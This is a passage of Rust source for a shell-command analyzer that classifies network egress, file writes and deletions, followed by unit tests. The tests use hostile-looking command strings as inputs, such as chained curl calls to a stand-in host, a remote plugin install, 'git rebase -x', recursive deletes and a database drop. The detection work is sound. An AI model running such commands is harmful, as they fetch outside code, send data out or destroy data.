3791 "all",
3792 ],
3793 long_valued: &[
3794 ("print", OptionValue::Ignore),
3795 ("pretty", OptionValue::Ignore),
3796 ("style", OptionValue::Ignore),
3797 ("auth", OptionValue::Ignore),
3798 ("auth-type", OptionValue::Ignore),
3799 ("timeout", OptionValue::Ignore),
3800 ("max-redirects", OptionValue::Ignore),
3801 ("verify", OptionValue::Ignore),
3802 ("cert", OptionValue::Ignore),
3803 ("cert-key", OptionValue::Ignore),
3804 ("output", OptionValue::Write),
3805 ],
3806 long_equals: true,
3807 exact: &[],
3808 stop_at_positional: false,
3809};
3810
3811fn httpie(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3815 let Some(parsed) = parse_options(&HTTPIE, args) else {
3816 out.opaque();
3817 return;
3818 };
3819 apply_values(&parsed, cwd, out);
3820 let mut positionals = parsed.positionals.iter();
3821 let mut url = positionals.next();
3822 if url.is_some_and(|word| !word.is_empty() && word.chars().all(|c| c.is_ascii_uppercase())) {
3823 url = positionals.next();
3824 }
3825 let Some(url) = url else {
3826 out.opaque();
3827 return;
3828 };
3829 out.egress(url_effect(url));
3830}
3831
3832const NETCAT: OptionSpec = OptionSpec {
3833 flags: "vznu46CDdN",
3834 valued: &[
3835 ('w', OptionValue::Ignore),
3836 ('p', OptionValue::Ignore),
3837 ('s', OptionValue::Ignore),
3838 ('q', OptionValue::Ignore),
3839 ('i', OptionValue::Ignore),
3840 ],
3841 long_flags: &[],
3842 long_valued: &[],
3843 long_equals: false,
3844 exact: &[],
3845 stop_at_positional: false,
3846};
3847
3848fn netcat(args: &[String], out: &mut ShellAnalysis) {
3850 let target = parse_options(&NETCAT, args).and_then(|parsed| match &parsed.positionals[..] {
3851 [host, port] => egress_effect("", host, Some(port.parse::<u16>().ok()?)),
3852 _ => None,
3853 });
3854 out.egress(target);
3855}
3856
3857const SSH: OptionSpec = OptionSpec {
3858 flags: "46AaCfGgKkMNnqsTtVvXxYy",
3859 valued: &[
3860 ('p', OptionValue::Port),
3861 ('i', OptionValue::Ignore),
3862 ('l', OptionValue::Ignore),
3863 ('L', OptionValue::Ignore),
3864 ('R', OptionValue::Ignore),
3865 ('D', OptionValue::Ignore),
3866 ('c', OptionValue::Ignore),
3867 ('m', OptionValue::Ignore),
3868 ('b', OptionValue::Ignore),
3869 ('e', OptionValue::Ignore),
3870 ('E', OptionValue::Write),
3871 ],
3872 long_flags: &[],
3873 long_valued: &[],
3874 long_equals: false,
3875 exact: &[],
3876 stop_at_positional: true,
3877};
3878
3879fn port_option(parsed: &ParsedOptions) -> Result<Option<u16>, ()> {
3880 match parsed
3881 .values
3882 .iter()
3883 .rev()
3884 .find(|(role, _)| *role == OptionValue::Port)
3885 {
3886 Some((_, port)) => port.parse::<u16>().map(Some).map_err(|_| ()),
3887 None => Ok(None),
3888 }
3889}
3890
3891fn ssh_host_effect(destination: &str, port: Option<u16>) -> Option<EffectKey> {
3893 if destination.matches('@').count() > 1 {
3894 return None;
3895 }
3896 let host = destination
3897 .rsplit_once('@')
3898 .map_or(destination, |(_, host)| host);
3899 egress_effect("ssh", host, port)
3900}
3901
3902fn ssh(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3905 let Some(parsed) = parse_options(&SSH, args) else {
3906 out.opaque();
3907 return;
3908 };
3909 apply_values(&parsed, cwd, out);
3910 let Ok(port) = port_option(&parsed) else {
3911 out.opaque();
3912 return;
3913 };
3914 let key = parsed.positionals.first().and_then(|destination| {
3915 if destination.contains("://") {
3916 let url = strict_url(destination)?;
3917 if url.scheme() != "ssh" {
3918 return None;
3919 }
3920 egress_effect("ssh", url.host_str()?, port.or(url.port()))
3921 } else {
3922 ssh_host_effect(destination, port)
3923 }
3924 });
3925 out.egress(key);
3926}
3927
3928fn remote_operand(operand: &str, scheme: &str, port: Option<u16>) -> Result<Option<EffectKey>, ()> {
3932 if operand.contains("://") {
3933 return url_effect(operand).map(Some).ok_or(());
3934 }
3935 if operand.starts_with(['/', '.', '~']) {
3936 return Ok(None);
3937 }
3938 let (user_host, rest) = match operand.find('[') {
3939 Some(open) => {
3941 let close = operand.find(']').ok_or(())?;
3942 if close < open || operand.as_bytes().get(close + 1) != Some(&b':') {
3943 return Err(());
3944 }
3945 (&operand[..=close], &operand[close + 1..])
3946 }
3947 None => match operand.split_once(':') {
3948 Some((before, _)) if !before.contains('/') => (before, &operand[before.len()..]),
3949 _ => return Ok(None),
3950 },
3951 };
3952 if user_host.is_empty() {
3953 return Err(());
3954 }
3955 if rest.starts_with("::") && scheme == "rsync" {
3957 let host = user_host
3958 .rsplit_once('@')
3959 .map_or(user_host, |(_, host)| host);
3960 return egress_effect("rsync", host, port.or(Some(873)))
3961 .map(Some)
3962 .ok_or(());
3963 }
3964 ssh_host_effect(user_host, port).map(Some).ok_or(())
3965}
3966
3967fn transfer(
3971 positionals: &[String],
3972 scheme: &str,
3973 port: Option<u16>,
3974 cwd: Option<&str>,
3975 out: &mut ShellAnalysis,
3976) -> Option<bool> {
3977 let Some((destination, sources)) = positionals.split_last().filter(|(_, s)| !s.is_empty())
3978 else {
3979 out.opaque();
3980 return None;
3981 };
3982 for source in sources {
3983 match remote_operand(source, scheme, port) {
3984 Ok(Some(key)) => out.add(key),
3985 Ok(None) => {}
3986 Err(()) => out.opaque(),
3987 }
3988 }
3989 match remote_operand(destination, scheme, port) {
3990 Ok(Some(key)) => {
3991 out.add(key);
3992 Some(false)
3993 }
3994 Ok(None) => {
3995 out.path(EffectClass::Write, destination, cwd);
3996 Some(true)
3997 }
3998 Err(()) => {
3999 out.opaque();
4000 None
4001 }
4002 }
4003}
4004
4005const SCP: OptionSpec = OptionSpec {
4006 flags: "346BCpqrTvA",
4007 valued: &[
4008 ('P', OptionValue::Port),
4009 ('i', OptionValue::Ignore),
4010 ('l', OptionValue::Ignore),
4011 ('c', OptionValue::Ignore),
4012 ],
4013 long_flags: &[],
4014 long_valued: &[],
4015 long_equals: false,
4016 exact: &[],
4017 stop_at_positional: false,
4018};
4019
4020fn scp(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4021 let Some(parsed) = parse_options(&SCP, args) else {
4022 out.opaque();
4023 return;
4024 };
4025 let Ok(port) = port_option(&parsed) else {
4026 out.opaque();
4027 return;
4028 };
4029 transfer(&parsed.positionals, "ssh", port, cwd, out);
4030}
4031
4032const RSYNC: OptionSpec = OptionSpec {
4033 flags: "avzrlptgoDhPnciuqHAXSWxRIKLkmyO",
4034 valued: &[('B', OptionValue::Ignore)],
4035 long_flags: &[
4036 "archive",
4037 "verbose",
4038 "compress",
4039 "recursive",
4040 "links",
4041 "perms",
4042 "times",
4043 "group",
4044 "owner",
4045 "devices",
4046 "specials",
4047 "human-readable",
4048 "progress",
4049 "partial",
4050 "dry-run",
4051 "checksum",
4052 "update",
4053 "quiet",
4054 "hard-links",
4055 "acls",
4056 "xattrs",
4057 "sparse",
4058 "whole-file",
4059 "one-file-system",
4060 "relative",
4061 "ignore-existing",
4062 "inplace",
4063 "append",
4064 "stats",
4065 "itemize-changes",
4066 "delete",
4067 "delete-before",
4068 "delete-during",
4069 "delete-after",
4070 "delete-delay",
4071 "delete-excluded",
4072 "remove-source-files",
4073 "prune-empty-dirs",
4074 "numeric-ids",
4075 "safe-links",
4076 "copy-links",
4077 "keep-dirlinks",
4078 "no-motd",
4079 "mkpath",
4080 ],
4081 long_valued: &[
4082 ("exclude", OptionValue::Ignore),
4083 ("include", OptionValue::Ignore),
4084 ("exclude-from", OptionValue::Ignore),
4085 ("include-from", OptionValue::Ignore),
4086 ("bwlimit", OptionValue::Ignore),
4087 ("timeout", OptionValue::Ignore),
4088 ("contimeout", OptionValue::Ignore),
4089 ("chmod", OptionValue::Ignore),
4090 ("max-size", OptionValue::Ignore),
4091 ("min-size", OptionValue::Ignore),
4092 ("password-file", OptionValue::Ignore),
4093 ],
4094 long_equals: true,
4095 exact: &[],
4096 stop_at_positional: false,
4097};
4098
4099fn rsync(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4100 let Some(parsed) = parse_options(&RSYNC, args) else {
4101 out.opaque();
4102 return;
4103 };
4104 let port = None;
4106 let Some(local_destination) = transfer(&parsed.positionals, "rsync", port, cwd, out) else {
4107 return;
4108 };
4109 let flag = |name: &str| parsed.long_flags.iter().any(|flag| flag.starts_with(name));
4110 let Some((destination, sources)) = parsed.positionals.split_last() else {
4111 return;
4112 };
4113 if flag("delete") && local_destination {
4116 out.path(EffectClass::Delete, destination, cwd);
4117 }
4118 if flag("remove-source-files") {
4120 for source in sources {
4121 if matches!(remote_operand(source, "rsync", port), Ok(None)) {
4122 out.path(EffectClass::Delete, source, cwd);
4123 }
4124 }
4125 }
4126}
4127
4128const COPY: OptionSpec = OptionSpec {
4129 flags: "rRfinpavLPHlsuxXTcdD",
4130 valued: &[('t', OptionValue::TargetDir)],
4131 long_flags: &[
4132 "archive",
4133 "recursive",
4134 "force",
4135 "interactive",
4136 "no-clobber",
4137 "verbose",
4138 "update",
4139 "parents",
4140 "no-target-directory",
4141 "dereference",
4142 "no-dereference",
4143 "one-file-system",
4144 "link",
4145 "symbolic-link",
4146 "preserve",
4147 "reflink",
4148 "strip-trailing-slashes",
4149 ],
4150 long_valued: &[
4151 ("target-directory", OptionValue::TargetDir),
4152 ("preserve", OptionValue::Ignore),
4153 ("no-preserve", OptionValue::Ignore),
4154 ("sparse", OptionValue::Ignore),
4155 ("reflink", OptionValue::Ignore),
4156 ("update", OptionValue::Ignore),
4157 ],
4158 long_equals: true,
4159 exact: &[],
4160 stop_at_positional: false,
4161};
4162
4163fn copied(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4166 let Some(parsed) = parse_options(©, args) else {
4167 out.unresolved();
4168 return;
4169 };
4170 let target_dir = parsed
4171 .values
4172 .iter()
4173 .rev()
4174 .find(|(role, _)| *role == OptionValue::TargetDir)
4175 .map(|(_, dir)| dir.clone());
4176 let (destination, sources) = match &target_dir {
4177 Some(dir) => (dir.as_str(), &parsed.positionals[..]),
4178 None => match parsed.positionals.split_last() {
4179 Some((destination, sources)) if !sources.is_empty() => (destination.as_str(), sources),
4180 _ => {
4181 out.unresolved();
4182 return;
4183 }
4184 },
4185 };
4186 out.path(EffectClass::Write, destination, cwd);
4187 if program == "mv" {
4188 for source in sources {
4189 out.path(EffectClass::Delete, source, cwd);
4190 }
4191 }
4192}
4193
4194const CREATE: OptionSpec = OptionSpec {
4195 flags: "aipcmhf",
4196 valued: &[
4197 ('t', OptionValue::Ignore),
4198 ('d', OptionValue::Ignore),
4199 ('r', OptionValue::Ignore),
4200 ],
4201 long_flags: &[
4202 "append",
4203 "ignore-interrupts",
4204 "no-create",
4205 "no-dereference",
4206 "parents",
4207 "verbose",
4208 ],
4209 long_valued: &[
4210 ("output-error", OptionValue::Ignore),
4211 ("date", OptionValue::Ignore),
4212 ("reference", OptionValue::Ignore),
4213 ("time", OptionValue::Ignore),
4214 ("mode", OptionValue::Ignore),
4215 ],
4216 long_equals: true,
4217 exact: &[],
4218 stop_at_positional: false,
4219};
4220
4221fn created(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4223 let spec = if program == "mkdir" {
4225 OptionSpec {
4226 flags: "pv",
4227 valued: &[('m', OptionValue::Ignore)],
4228 ..CREATE
4229 }
4230 } else {
4231 CREATE
4232 };
4233 match parse_options(&spec, args) {
4234 Some(parsed) => {
4235 for operand in &parsed.positionals {
4236 if operand != "-" {
4237 out.path(EffectClass::Write, operand, cwd);
4238 }
4239 }
4240 }
4241 None => out.unresolved(),
4242 }
4243}
4244
4245const GIT_CLONE: OptionSpec = OptionSpec {
4249 flags: "qvnls",
4250 valued: &[
4251 ('b', OptionValue::Ignore),
4252 ('o', OptionValue::Ignore),
4253 ('j', OptionValue::Ignore),
4254 ('u', OptionValue::Ignore),
4255 ('c', OptionValue::Ignore),
4256 ],
4257 long_flags: &[
4258 "quiet",
4259 "verbose",
4260 "progress",
4261 "no-checkout",
4262 "bare",
4263 "mirror",
4264 "single-branch",
4265 "no-single-branch",
4266 "no-tags",
4267 "shallow-submodules",
4268 "no-hardlinks",
4269 "local",
4270 "shared",
4271 "sparse",
4272 "recurse-submodules",
4273 ],
4274 long_valued: &[
4275 ("branch", OptionValue::Ignore),
4276 ("origin", OptionValue::Ignore),
4277 ("depth", OptionValue::Ignore),
4278 ("shallow-since", OptionValue::Ignore),
4279 ("shallow-exclude", OptionValue::Ignore),
4280 ("filter", OptionValue::Ignore),
4281 ("jobs", OptionValue::Ignore),
4282 ("upload-pack", OptionValue::Ignore),
4283 ("template", OptionValue::Ignore),
4284 ("separate-git-dir", OptionValue::Ignore),
4285 ("reference", OptionValue::Ignore),
4286 ("config", OptionValue::Ignore),
4287 ("recurse-submodules", OptionValue::Ignore),
4288 ],
4289 long_equals: true,
4290 exact: &[],
4291 stop_at_positional: false,
4292};
4293
4294const GIT_FETCH: OptionSpec = OptionSpec {
4295 flags: "qvafkmnpPtu",
4296 valued: &[('j', OptionValue::Ignore), ('o', OptionValue::Ignore)],
4297 long_flags: &[
4298 "quiet",
4299 "verbose",
4300 "progress",
4301 "force",
4302 "tags",
4303 "no-tags",
4304 "prune",
4305 "dry-run",
4306 "unshallow",
4307 "update-head-ok",
4308 "append",
4309 ],
4310 long_valued: &[
4311 ("depth", OptionValue::Ignore),
4312 ("deepen", OptionValue::Ignore),
4313 ("shallow-since", OptionValue::Ignore),
4314 ("shallow-exclude", OptionValue::Ignore),
4315 ("jobs", OptionValue::Ignore),
4316 ("upload-pack", OptionValue::Ignore),
4317 ("refmap", OptionValue::Ignore),
4318 ("server-option", OptionValue::Ignore),
4319 ("recurse-submodules", OptionValue::Ignore),
4320 ],
4321 long_equals: true,
4322 exact: &[],
4323 stop_at_positional: false,
4324};
4325
4326const GIT_PULL: OptionSpec = OptionSpec {
4327 flags: "qvnfkr",
4328 valued: &[
4329 ('s', OptionValue::Ignore),
4330 ('X', OptionValue::Ignore),
4331 ('j', OptionValue::Ignore),
4332 ('o', OptionValue::Ignore),
4333 ],
4334 long_flags: &[
4335 "quiet",
4336 "verbose",
4337 "progress",
4338 "force",
4339 "tags",
4340 "no-tags",
4341 "prune",
4342 "rebase",
4343 "no-rebase",
4344 "ff-only",
4345 "ff",
4346 "no-ff",
4347 "unshallow",
4348 "autostash",
4349 "no-autostash",
4350 ],
4351 long_valued: &[
4352 ("strategy", OptionValue::Ignore),
4353 ("strategy-option", OptionValue::Ignore),
4354 ("depth", OptionValue::Ignore),
4355 ("jobs", OptionValue::Ignore),
4356 ("rebase", OptionValue::Ignore),
4357 ("upload-pack", OptionValue::Ignore),
4358 ("recurse-submodules", OptionValue::Ignore),
4359 ],
4360 long_equals: true,
4361 exact: &[],
4362 stop_at_positional: false,
4363};
4364
4365const GIT_PUSH: OptionSpec = OptionSpec {
4366 flags: "qvfnud",
4367 valued: &[('o', OptionValue::Ignore)],
4368 long_flags: &[
4369 "quiet",
4370 "verbose",
4371 "progress",
4372 "force",
4373 "tags",
4374 "all",
4375 "mirror",
4376 "dry-run",
4377 "atomic",
4378 "follow-tags",
4379 "set-upstream",
4380 "delete",
4381 "prune",
4382 "force-with-lease",
4383 "no-verify",
4384 ],
4385 long_valued: &[
4386 ("push-option", OptionValue::Ignore),
4387 ("force-with-lease", OptionValue::Ignore),
4388 ("receive-pack", OptionValue::Ignore),
4389 ("exec", OptionValue::Ignore),
4390 ("repo", OptionValue::Ignore),
4391 ("recurse-submodules", OptionValue::Ignore),
4392 ],
4393 long_equals: true,
4394 exact: &[],
4395 stop_at_positional: false,
4396};
4397
4398fn git_remote(remote: &str) -> Result<Option<EffectKey>, ()> {
4402 if remote.contains("::") {
4404 return Err(());
4405 }
4406 if let Some(scheme_end) = remote.find("://") {
4407 return match &remote[..scheme_end] {
4408 "file" => Ok(None),
4409 "ext" => Err(()),
4410 _ => url_effect(remote).map(Some).ok_or(()),
4411 };
4412 }
4413 if remote.starts_with(['/', '.', '~']) {
4414 return Ok(None);
4415 }
4416 match remote.split_once(':') {
4417 Some((before, _)) if !before.contains('/') && !before.is_empty() => {
4418 ssh_host_effect(before, None).map(Some).ok_or(())
4419 }
4420 _ => Err(()),
4421 }
4422}
4423
4424fn git(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4430 let Some(subcommand) = args.first().filter(|arg| !arg.starts_with('-')) else {
4431 out.opaque();
4432 return;
4433 };
4434 let rest = &args[1..];
4435 out.opaque();
4437 if subcommand == "ls-remote" {
4438 if let [remote] = rest
4439 && let Some(key) = url_effect(remote)
4440 {
4441 out.add(key);
4442 }
4443 return;
4444 }
4445 let spec = match subcommand.as_str() {
4446 "clone" => &GIT_CLONE,
4447 "fetch" => &GIT_FETCH,
4448 "pull" => &GIT_PULL,
4449 "push" => &GIT_PUSH,
4450 _ => {
4451 out.opaque();
4452 return;
4453 }
4454 };
4455 out.opaque();
4456 let Some(parsed) = parse_options(spec, rest) else {
4457 return;
4458 };
4459 let Some(remote) = parsed.positionals.first() else {
4460 return;
4461 };
4462 if let Ok(Some(key)) = git_remote(remote) {
4463 out.add(key);
4464 }
4465 if subcommand == "clone"
4466 && let Some(directory) = parsed.positionals.get(1)
4467 {
4468 out.path(EffectClass::Write, directory, cwd);
4469 }
4470}
4471
4472#[cfg(test)]
4473mod remote_inner_tests {
4474 use super::{recognizably_changes, remote_inner_only_reads};
4475
4476 #[test]
4479 fn only_a_recognized_change_counts() {
4480 for change in [
4481 "docker exec app-1 bash -lc 'printf x > /app/move.txt'",
4482 "docker exec app-1 chmod +x /app/run.sh",
4483 "ssh host 'sudo apt-get install -y nginx'",
4484 "sed -i 's/a/b/' notes.txt",
4485 "mkdir -p out && cp a.txt out/",
4486 "git commit -m synthetic",
4487 ] {
4488 assert!(recognizably_changes(change), "{change}");
4489 }
4490 for not_recognized in [
4491 "docker exec app-1 bash -lc 'ls /app; cat /app/a'",
4492 "docker exec app-1 python3 /app/run.py",
4493 "./deploy.sh",
4494 "ls -la",
4495 "sed 's/a/b/' notes.txt",
4496 ] {
4497 assert!(!recognizably_changes(not_recognized), "{not_recognized}");
4498 }
4499 }
4500
4501 #[test]
4506 fn a_heredoc_write_inside_a_remote_exec_is_a_change() {
4507 for change in [
4508 "docker exec app-1 bash -lc 'cat > /app/proc.py <<\"EOF\"\nimport csv\nprint(1)\nEOF'",
4509 "docker exec app-1 bash -lc 'cat > /app/proc.py <<'\"'\"'EOF'\"'\"'\nimport csv\nEOF\ncd /app && python3 proc.py'",
4510 "docker exec app-1 bash -lc 'cat > /app/proc.py <<EOF\nx = {\"a\": 1}\nEOF'",
4511 "docker exec app-1 bash -lc 'cd /app && cat <<EOF > out.txt\nhello\nEOF'",
4512 ] {
4513 assert!(recognizably_changes(change), "{change}");
4514 assert_eq!(remote_inner_only_reads(change), Some(false), "{change}");
4515 }
4516 }
4517
4518 #[test]
4520 fn the_command_inside_a_remote_exec_is_judged() {
4521 assert_eq!(
4522 remote_inner_only_reads("docker exec app-1 bash -lc 'ls -la /app; cat /app/a.txt'"),
4523 Some(true)
4524 );
4525 assert_eq!(
4526 remote_inner_only_reads(
4527 "docker exec -w /app app-1 bash -lc 'printf x > /app/move.txt'"
4528 ),
4529 Some(false)
4530 );
4531 assert_eq!(
4532 remote_inner_only_reads("docker exec -e K=v app-1 rm -f /app/old.log"),
4533 Some(false)
4534 );
4535 assert_eq!(
4536 remote_inner_only_reads("ssh -p 2222 host cat /etc/hostname"),
4537 Some(true)
4538 );
4539 assert_eq!(
4540 remote_inner_only_reads("ssh host 'systemctl restart nginx'"),
4541 Some(false)
4542 );
4543 assert_eq!(
4544 remote_inner_only_reads("kubectl exec pod-1 -- sh -c 'ls /data'"),
4545 Some(true)
4546 );
4547 assert_eq!(
4548 remote_inner_only_reads("docker compose exec -T web sh -c 'cat /srv/a'"),
4549 Some(true)
4550 );
4551 assert_eq!(
4552 remote_inner_only_reads("lxc exec box -- touch /tmp/a"),
4553 Some(false)
4554 );
4555 assert_eq!(
4556 remote_inner_only_reads("vagrant ssh -c 'ls /vagrant'"),
4557 Some(true)
4558 );
4559 assert_eq!(
4560 remote_inner_only_reads("gcloud compute ssh vm-1 --command='rm -f /tmp/a'"),
4561 Some(false)
4562 );
4563 assert_eq!(remote_inner_only_reads("ls /app"), None);
4565 assert_eq!(remote_inner_only_reads("docker ps"), None);
4566 assert_eq!(
4567 remote_inner_only_reads("docker exec app-1 ls && rm -rf /tmp/x"),
4568 None
4569 );
4570 }
4571}
4572
4573#[cfg(test)]
4574mod tests {
4575 #[test]
4579 fn a_ddev_project_command_acts_on_its_own_project() {
4580 for own in [
4581 "ddev drush watchdog:show --count=8",
4582 "ddev drush cr",
4583 "ddev wp option update blogname 'Claude Company' --path=web",
4584 "ddev wp user update 1 --display_name=Admin",
4585 ] {
4586 assert!(super::acts_on_its_ddev_project(own), "{own}");
4587 }
4588 for other in [
4589 "ddev drush php:eval 'file_get_contents(\"https://x.invalid\");'",
4590 "ddev wp eval 'echo 1;'",
4591 "ddev wp plugin install https://x.invalid/p.zip",
4592 "ddev drush sql:dump > /tmp/dump.sql",
4593 "ddev exec curl https://x.invalid",
4594 "ddev drush --eval=1 status",
4595 "cd /elsewhere && ddev drush cr",
4596 "ddev drush cr; curl https://x.invalid",
4597 ] {
4598 assert!(!super::acts_on_its_ddev_project(other), "{other}");
4599 }
4600 }
4601
4602 use super::*;
4603
4604 #[test]
4606 fn a_command_is_labelled_by_its_program() {
4607 assert_eq!(
4608 program_label("for i in $(seq 1 200); do echo $i; sleep 2; done; echo done"),
4609 "a shell loop"
4610 );
4611 assert_eq!(
4612 program_label("while kill -0 123; do sleep 5; done"),
4613 "a shell loop"
4614 );
4615 assert_eq!(program_label("cd /srv/demo && ddev start"), "ddev");
4616 assert_eq!(program_label("ddev drush site:install -y"), "ddev");
4617 assert_eq!(
4618 program_label("FOO=1 nohup /usr/bin/python3 serve.py"),
4619 "python3"
4620 );
4621 assert_eq!(program_label(""), "a command");
4622 }
4623
4624 const INSPECT_SITES: &str = "cd /Users/alice/projects && for d in claude-drupal \
4634 claude-wordpress; do echo \"== $d\"; ls -la $d | head -30; ls $d/.ddev 2>&1 | head; \
4635 (cd $d && ddev describe 2>&1 | head -25); done";
4636
4637 #[test]
4638 fn a_read_only_loop_with_a_subshell_is_local_work() {
4639 let effects = command_effects(INSPECT_SITES);
4640 assert!(effects.local_work_only, "{INSPECT_SITES}");
4641 assert!(!effects.deletes);
4642 assert!(reaches_only_this_computer(INSPECT_SITES));
4643 assert!(!fetches_network(INSPECT_SITES));
4644 for read in [
4646 "for d in a b; do echo \"== $d\"; ls -la $d | head -30; done",
4647 "(ls -la /tmp && pwd) 2>&1 | head",
4648 "for d in a b; do for f in x y; do cat ${d}/$f; done; done",
4649 "for f in *.log; do tail -5 $f; done",
4650 ] {
4651 assert!(command_effects(read).observation_only, "{read}");
4652 }
4653
4654 let deleting = INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d");
4655 let effects = command_effects(&deleting);
4656 assert!(
4657 effects.deletes && effects.delete_targets.is_none(),
4658 "{deleting}"
4659 );
4660 assert!(!effects.observation_only);
4661 assert!(!reaches_only_this_computer(&deleting));
4662 let writing = INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt");
4663 assert!(!command_effects(&writing).observation_only, "{writing}");
4665
4666 for not_understood in [
4667 "for x in \"-o out\"; do sort $x f; done",
4669 "for x in $FLAGS; do sort $x f; done",
4670 "for x in -o; do sort $x out f; done",
4671 "for x in -delete; do find . $x; done",
4672 "for p in ls rm; do $p x; done",
4674 "for p in rm; do (cd /tmp && $p -rf x); done",
4675 "for p in ls; do $p x; done; rm y",
4676 "for d in a; do ls $d",
4677 "for d in a; ls $d; done",
4678 "for d; do ls $d; done",
4679 "for ((i=0;i<3;i++)); do ls; done",
4680 "while true; do ls; done",
4681 "if true; then ls; fi",
4682 "ls (cd x)",
4683 "(ls) ls",
4684 "(ls",
4685 "ls)",
4686 "f() (ls); f",
4687 "(echo $(rm x))",
4688 ] {
4689 let effects = command_effects(not_understood);
4690 assert!(!effects.observation_only, "{not_understood}");
4691 assert!(!effects.local_work_only, "{not_understood}");
4692 }
4693 }
4694
4695 #[test]
4698 fn the_folders_a_read_only_command_looks_inside_are_named() {
4699 assert_eq!(
4700 looked_inside(INSPECT_SITES),
4701 ["claude-drupal", "claude-wordpress"]
4702 );
4703 assert_eq!(
4704 looked_inside("ls -la /srv/www/shop/ && du -sh logs/2026"),
4705 ["shop", "logs"]
4706 );
4707 assert_eq!(
4708 looked_inside("tree -L 2 src && find app -name '*.php'"),
4709 ["src", "app"]
4710 );
4711 assert!(looked_inside("ls ~ . .. $HOME *.txt").is_empty());
4712 assert!(looked_inside("cat notes.txt").is_empty());
4713 for not_only_looking in [
4714 INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d"),
4715 INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt"),
4716 "ls site && curl -s http://localhost:5173/".to_string(),
4717 "ls site && cargo build".to_string(),
4718 ] {
4719 assert!(
4720 looked_inside(¬_only_looking).is_empty(),
4721 "{not_only_looking}"
4722 );
4723 }
4724 }
4725
4726 #[test]
4727 fn a_command_card_carries_its_typed_effects() {
4728 use aidaemon_core::{CardAction, HighImpact};
4729 let card = command_card(INSPECT_SITES, Some("check the site folders".to_string()));
4730 assert_eq!(card.impact, None);
4731 assert!(matches!(
4732 &card.action,
4733 CardAction::Command { looks_inside, title: Some(_), line }
4734 if looks_inside.len() == 2 && line == INSPECT_SITES
4735 ));
4736 assert_eq!(
4737 command_card("rm -rf build dist", None).impact,
4738 Some(HighImpact::Deletes {
4739 targets: vec!["build".to_string(), "dist".to_string()]
4740 })
4741 );
4742 assert_eq!(
4743 command_card("curl -X POST https://example.invalid/hook", None).impact,
4744 Some(HighImpact::Sends)
4745 );
4746 }
4747
4748 #[test]
4751 fn a_local_site_check_only_reads_this_computer() {
4752 for read in [
4753 "curl -s -o /dev/null -w '%{http_code}' https://shop-synthetic.localhost/",
4754 "curl -sI https://127.0.0.1:8443/ | head -5",
4755 "cd /tmp/site && ddev describe && curl -s http://localhost:5173/ | grep -c title",
4756 INSPECT_SITES,
4757 ] {
4758 assert!(only_reads_this_computer(read), "{read}");
4759 }
4760 for not_a_read in [
4761 "curl -s -o page.html https://shop-synthetic.localhost/",
4762 "curl -sSo page.html http://localhost:5173/",
4763 "curl -s -c jar http://localhost:5173/",
4764 "curl -s https://example.invalid/",
4765 "curl -s -X POST http://localhost:5173/x",
4766 "curl -s http://localhost:5173/ > page.html",
4767 "wget http://localhost:5173/",
4768 "ddev start",
4769 "cargo build",
4770 ] {
4771 assert!(!only_reads_this_computer(not_a_read), "{not_a_read}");
4772 }
4773 }
4774
4775 #[test]
4778 fn build_and_test_runners_run_project_code() {
4779 for runner in [
4780 "make",
4781 "make -C sub all",
4782 "cargo test -q",
4783 "cargo +nightly build",
4784 "cd /srv/app && npm run build",
4785 "pytest tests/test_x.py",
4786 "python3 scripts/gen.py",
4787 "go test ./...",
4788 "env FOO=1 make",
4789 ] {
4790 assert!(command_effects(runner).runs_project_code, "{runner}");
4791 }
4792 for plain in [
4793 "git status",
4794 "cp a b",
4795 "mkdir -p out",
4796 "cargo fmt",
4797 "cargo tree",
4798 "ls -la",
4799 "npm view left-pad",
4800 ] {
4801 assert!(!command_effects(plain).runs_project_code, "{plain}");
4802 }
4803 }
4804
4805 #[test]
4806 fn ddev_status_queries_are_local_work() {
4807 for query in [
4808 "ddev describe",
4809 "cd /srv/demo && ls -la ADMIN_PASSWORD.txt && ddev wp core is-installed; \
4810 echo \"is-installed exit: $?\"; ddev wp option get siteurl",
4811 "ddev wp core version --allow-root",
4812 "ddev drush status --field=bootstrap",
4813 "ddev wp plugin list --format=json",
4814 ] {
4815 let effects = command_effects(query);
4816 assert!(effects.local_work_only, "{query}");
4817 assert!(!fetches_network(query), "{query}");
4818 }
4819 for other in [
4820 "ddev start",
4821 "ddev wp plugin install akismet",
4822 "ddev wp core download",
4823 "ddev wp --exec='echo 1;' option get siteurl",
4824 "ddev wp option get siteurl --require=/tmp/x.php",
4825 "ddev exec curl https://example.invalid",
4826 "ddev ssh",
4827 "ddev drush sql:drop",
4828 "ddev",
4829 ] {
4830 assert!(!command_effects(other).local_work_only, "{other}");
4831 }
4832 }
4833
4834 #[test]
4837 fn path_effects_read_one_argument_one_way() {
4838 for raw in ["/tmp/a]b", "/tmp/a[b", "~someone/x", "rel/x"] {
4839 assert!(
4840 path_effect(EffectClass::Write, raw, None).is_none(),
4841 "{raw}"
4842 );
4843 assert!(
4844 shell_path_effects(EffectClass::Write, raw, None).is_none(),
4845 "{raw}"
4846 );
4847 }
4848 assert_eq!(
4849 structural_absolute_path("notes.txt", Some("/srv/app/")),
4850 Some("/srv/app/notes.txt".to_string())
4851 );
4852 }
4853
4854 #[test]
4857 fn xargs_path_operands_are_undeterminable() {
4858 assert_eq!(path_operands("xargs cat < list.txt"), None);
4859 assert_eq!(path_operands("cat list.txt | xargs cat"), None);
4860 }
4861
4862 #[test]
4863 fn local_work_and_delete_targets_are_typed_by_structure() {
4864 for local in [
4865 "cargo test > out.log 2>&1",
4866 "cargo fmt\ncargo test",
4867 "cd /tmp/aidaemon-test/p && git status",
4868 "rm -f a.o b.o",
4869 ] {
4870 assert!(command_effects(local).local_work_only, "{local}");
4871 }
4872 for other in [
4873 "cargo test < input.txt",
4874 "git -C /tmp/aidaemon-test/p commit -m x",
4875 "npm install",
4876 "sh -c 'cargo test'",
4877 "cargo test # done",
4878 "tee out.log",
4879 "git rebase -x 'curl x' HEAD~1",
